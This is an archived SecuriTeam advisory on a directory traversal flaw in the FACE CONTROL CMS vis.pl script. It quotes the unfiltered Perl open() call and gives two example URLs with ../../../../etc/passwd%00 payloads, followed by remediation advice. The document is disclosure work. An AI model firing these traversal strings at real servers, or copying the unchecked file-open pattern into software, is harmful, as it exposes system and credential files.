[UNIX] FACE CONTROL CMS vis.pl Directory Traversal



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



FACE CONTROL CMS vis.pl Directory Traversal
------------------------------------------------------------------------


SUMMARY

<http://www.elido.com/cgi-bin/e-cms/vis/vis.pl?s=001&p=0009&g=> FACE
CONTROL- CMS The E-cms vis.pl script does not filter for dangerous
characters, allowing attackers to open arbitrary files.

DETAILS

c

Vulnerable Code:
if ( -e $datFile )
{
open ( DAT_FILE, "$datFile" );


Example:
All variables that open files are unsafe:
http://[target]/cgi-bin/e-cms/vis/vis.pl?s=001&p=../../../../etc/passwd%00

http://[target]/cgi-bin/e-cms/vis/vis.pl?s=../../../../etc/passwd%00

Solution:
Remove vis.pl from your system if it is unused.
Filter or escape dangerous characters from all the user parameters.
You have to insert a line like this for ALL variables which contain files
to open, system calls and SQL.
For more information see:
<http://perldoc.perl.org/perlsec.html>
http://perldoc.perl.org/perlsec.html


ADDITIONAL INFORMATION

The information has been provided by <mailto:spher3@xxxxxxxxxxxxxxxxx>
spher3.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages